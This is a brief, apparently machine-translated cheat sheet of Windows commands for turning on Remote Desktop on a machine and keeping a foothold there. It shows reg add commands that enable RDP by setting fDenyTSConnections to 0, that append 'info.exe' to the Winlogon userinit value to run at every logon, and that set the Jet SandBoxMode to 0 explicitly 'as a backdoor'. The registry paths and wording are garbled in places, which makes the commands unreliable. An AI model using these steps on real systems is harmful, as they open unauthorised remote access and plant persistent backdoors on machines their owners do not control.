Command Line 3389

1. Check port 3389. Many abnormal administrators will change it to another one:

Reg query HKLM \ System \ CurrentControlSet \ Control \ Terminal "" Server \ winstations \ RDP-TCP/V portnumber this command is used to check the port opened by the Remote Desktop Connection. Generally, the default display is 0xd3d. is 3389

2. view the pid of the svchost process of 3389. In this way, you can view the listening port of 3389 in combination with netstat-ano. The purpose is similar to 1]

Tasklist/svc

Find the following (the remote process number is 1348 ):

Svchost.exe 1348 dcomlaunch, termservice

 

3. Check whether remote connection is allowed, that is, in the "remote" attribute of "My Computer ".

Reg query HKLM \ System \ CurrentControlSet \ Control \ Terminal "" server/V fdenytsconnections

If the value is 0x0, the connection can be established. check whether there is TCP filtering or firewall. If the value is 0x1, change it to 0.

Reg add HKLM \ System \ CurrentControlSet \ Control \ Terminal "" server/V fdenytsconnections/D 0/T REG_DWORD/F

 

4. Others:

Check that the remote terminal service is not started:

After the Net start command, find "Terminal Services". If yes, the service is started.

==============================

Note: terminal "" server contains spaces, so Add ""

 

 

 

In addition, run the reg add command to add strings, for example:

Reg Add "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon"/V userinit/D "C: \ windows \ system32 \ userinit.exe,info.exe,"/T REG_SZ/F

Enable sandbox (as a backdoor)

 

Reg Add "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ jet \ 4.0 \ engine"/V sandboxmode/D 0/T REG_DWORD/F

 

Run the doscommand on the command line/console to view the virtual directory:

Reg query "HKEY_LOCAL_MACHINE \ SYSTEM \ controlset001 \ Services \ W3SVC \ Parameters \ virtual roots"/V/